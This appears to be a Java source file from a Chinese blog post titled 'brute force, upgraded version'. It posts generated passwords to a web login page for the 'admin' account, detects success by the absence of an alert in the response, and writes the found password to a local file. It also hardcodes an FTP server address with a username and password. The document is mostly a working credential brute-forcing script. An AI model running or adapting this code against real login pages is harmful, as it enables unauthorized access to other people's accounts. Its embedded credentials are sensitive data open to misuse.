import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPReply;
import org.junit.jupiter.api.Test;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.util.MultiValueMap;
import org.springframework.web.client.RestTemplate;
import java.io.*;
import java.net.MalformedURLException;
public class Demojm {
static String real="ZYXLXP";//真实密码
static String pass="";//执行循环操作找出来的与真实密码相等的字符串
static String prod="";//中间产生的字符串
//static String [] s={"0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
static String [] s={"0","1","2","3","4","a","l","s"};
//定义一个有62个字符串的字符串数组
//生成一个指定位数的密码,每一位有以上62种可能,n=6时,第一个为000000,最后一个为ZZZZZZ,共//62^6种可能。n=7时,第一个为0000000,最后一个为ZZZZZZZ,共62^7种可 能。n=8时,第一个为//00000000,最后一个为ZZZZZZZZ,共62^8种可能
//62^6种情况,累死也列不出来,,,
//ftp用户名和密码
//ftp服务器地址
public String hostname = "100.69.48.135";
//ftp服务器端口号默认为21
public Integer port = 8888 ;
//ftp登录账号
public String username = "xm_ftp";
//ftp登录密码
public String password = "xm_pwd";
public FTPClient ftpClient = null;
public void initFtpClient(){
ftpClient = new FTPClient();
ftpClient.setControlEncoding("utf-8");
try {
System.out.println("connecting...ftp服务器:"+this.hostname+":"+this.port);
ftpClient.connect(hostname, port); //连接ftp服务器
ftpClient.login(username, password); //登录ftp服务器
int replyCode = ftpClient.getReplyCode(); //是否成功登录服务器
if(!FTPReply.isPositiveCompletion(replyCode)){
System.out.println("connect failed...ftp服务器:"+this.hostname+":"+this.port);
}
System.out.println("connect successfu...ftp服务器:"+this.hostname+":"+this.port);
}catch (MalformedURLException e) {
e.printStackTrace();
}catch (IOException e) {
e.printStackTrace();
}
}
@Test
public void pjmm(){
initFtpClient();
Integer length = s.length;
if(pass.equals("")){//在上一级未找到
bgm: for(int i=0;i<length;i++){
for(int j=0;j<length;j++){
for(int k=0;k<length;k++){
prod=s[i]+s[j]+s[k];
pass="000000"+prod;
String aa=startjm(pass);
if("success".equals(aa)){
System.out.println("true_pass=="+pass);
// File truepwd=new File("/");
FileWriter fw = null;
try{
// File localFile = new File(localpath + "/" + file.getName());
// OutputStream os = new FileOutputStream(truepwd);
fw = new FileWriter("E:\\xmtext20180421.txt", true);
fw.write("正确的密码"+pass);//这里向文件中输入结果123
fw.write("正确的用户名"+"admin");//这里向文件中输入结果123
fw.flush();
}catch (Exception e){
}
break bgm;
}
}
}
}
}
}
public String startjm(String pwd){
RestTemplate restTemplate = new RestTemplate();
System.out.println("sss");
HttpHeaders headers = new HttpHeaders();
try{
headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
MultiValueMap<String, String> map= new LinkedMultiValueMap<String, String>();
map.add("UserID", "admin");
map.add("Password", pwd);
HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<MultiValueMap<String, String>>(map, headers);
ResponseEntity<String> response = restTemplate.postForEntity( "http://localhost:4405/demo/Logon.jsp", request , String.class );
System.out.println(response.getBody());
String status= response.getStatusCode().toString();
String result=response.toString();
if(!result.contains("alert")){
System.out.println("SUCCESS==>"+pwd);
return "success";
}else{
return "error";
}
}catch(Exception e){
System.out.println("ERROR==>"+pwd);
return "error";
}
}
@Test
void pk(){
RestTemplate restTemplate = new RestTemplate();
System.out.println("sss");
HttpHeaders headers = new HttpHeaders();
headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
MultiValueMap<String, String> map= new LinkedMultiValueMap<String, String>();
map.add("UserID", "admin");
map.add("Password", "000000als");
HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<MultiValueMap<String, String>>(map, headers);
ResponseEntity<String> response = restTemplate.postForEntity( "http://localhost:4405/demo/Logon.jsp", request , String.class );
System.out.println(response.getBody());
String status= response.getStatusCode().toString();
System.out.println("status==>"+status);
String result=response.toString();
System.out.println("result==>"+result);
if(!result.contains("alert")){
System.out.println("密码正确");
}
}
}
暴力破解--升级版
最新推荐文章于 2021-10-27 21:14:39 发布